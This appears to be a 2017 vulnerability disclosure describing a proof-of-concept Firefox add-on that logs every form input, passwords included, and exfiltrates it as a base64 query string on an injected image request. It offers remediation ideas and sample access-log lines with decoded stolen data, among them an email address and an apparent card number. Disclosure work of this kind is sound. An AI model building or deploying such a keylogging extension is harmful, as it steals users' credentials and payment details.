**Mozilla Firefox Data Extraction through JavaScript Addons.**

An exploit identified by Ian Archambeau (i.a@outlook.com).

**Bottom Line Up Front**

The addons feature within Mozilla Firefox is an extremely open interface which can enhance the capabilities of the Firefox browser, however conversely can be utilised as a potential attack vector to leak user information. This document will demonstrate such a proof of concept which enables an attacker to obtain all inputted user information on submission forms. This includes credit card numbers, however more importantly usernames/emails and passwords.

**The Concept**

Firefox Addons are written in JavaScript and as such can inherently communicate with the rendered web page document. Furthermore, JavaScript comes with functions which enable a user to interact with a webpage by utilising their keyboard and an ability to conduct AJAX requests in the background. The initial version of this used an XML HTTP POST Request to a PHP script which would log inputs – however a recent Mozilla Firefox update disabled the ability to post to URLs other than the website currently being visited. As such a work around of embedding an ‘image’ into the HTML page with data to be extracted hidden as a GET parameter was utilised.

This will then enable the attacker to check the HTTP Access Logs and exfil data, this process could be automated. Information received will include the URL the user was visiting and the data which was entered in **all** input fields. ***This includes password input fields***.

An ability to self sign this addon, enables the author to distribute this and can deliver the addon via nefarious means either attempting to appear as Mozilla or hide the code within an addon which offers the user a functionality they require. This will therefore work in both normal and private window mode on websites with both HTTPS and HTTP connections due to the action taking place on the client side.

**Suggested remediation**

1. Add measures on your automated XPI signing platform to check for the recording of key events.
2. Don’t allow the embedding of elements after a page has been loaded.
3. Don’t allow http content to be added to https pages.
4. Limit the ability for logging key strokes (e.g. only a max of 3 consecutive key strokes).

Reported by Ian Archambeau on 14 Apr 17.

E-mail: i.a@outlook.com
Phone: 00447480898991

**Demonstration**

**Phase 1 – User Installs the Addon.**



**Phase 2 – Example 1: User logs in to e-mail service and GET request sent to threat actors HTTP server. Encoded with Base64 to obscure contents.**

****

|  |
| --- |
| **Example Submitted Request** |
| XX.XX.XX.XX - - [14/Apr/2017:21:46:33 +0000] "GET /crisis.jpg?aHR0cHM6Ly9sb2dpbi5saXZlLmNvbS9sb2dpbi5zcmY/d2E9d3NpZ25pbjEuMCZycHNudj0xMyZjdD0xNDkyMjA2MDE3JnJ2ZXI9Ni43LjY2NDMuMCZ3cD1MQkkmd3JlcGx5PWh0dHBzOiUyZiUyZnd3dy5tc24uY29tJTJmZW4tdXMlMmZob21lcGFnZSUyZlNlY3VyZSUyZlBhc3Nwb3J0JTNmcnUlM2RodHRwJTI1M2ElMjUyZiUyNTJmd3d3Lm1zbi5jb20lMjUyZiUyNTNmb2NpZCUyNTNkbWFpbHNpZ25vdXQlMjUyNnBmciUyNTNkMSZsYz0xMDMzJmlkPTExODQmbWt0PWVuLXVzJnBjZXhwPVRydWVCUkVBS2NyaXNpc2NlbnRyZWRlbW9Ab3V0bG9vay5jb21CUkVBSw== HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" |
| **Exampled Decoded Request** |
| https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1492206017&rver=6.7.6643.0&wp=LBI&wreply=https:%2f%2fwww.msn.com%2fen-us%2fhomepage%2fSecure%2fPassport%3fru%3dhttp%253a%252f%252fwww.msn.com%252f%253focid%253dmailsignout%2526pfr%253d1&lc=1033&id=1184&mkt=en-us&pcexp=True**BREAKcrisiscentredemo@outlook.comBREAK** |

**Phase 2 – Example 2: User adding credit card number to amazon account.**



|  |
| --- |
| **Example Submitted Request** |
| XX.XX.XX.XX - - [14/Apr/2017:22:01:35 +0000] "GET /crisis.jpg?aHR0cHM6Ly93d3cuYW1hem9uLmNvLnVrL2dwL2Nzcy9hY2NvdW50L2NhcmRzL3ZpZXcuaHRtbD9pZT1VVEY4JnJlZl89YWRkX3BheV9tZXRoJnZpZXdJRD1hZGRDYXJkJkJSRUFLNTU3NDEzNDM2MzgzMjcxMAlCUkVBS0lBTiBBUkNIQU1CRUFVQlJFQUtCUkVBS0JSRUFL HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" |
| **Exampled Decoded Request** |
| https://www.amazon.co.uk/gp/css/account/cards/view.html?ie=UTF8&ref\_=add\_pay\_meth&viewID=addCard&BREAK5574134363832710 BREAKIAN ARCHAMBEAUBREAKBREAKBREAK |

This script could further be modified so that on the form submission non text fields (e.g. expiration date) values are taken and encoded into the GET request as well giving me access to all data. However, having compromised the users email would enable me to reset their amazon account details anyway.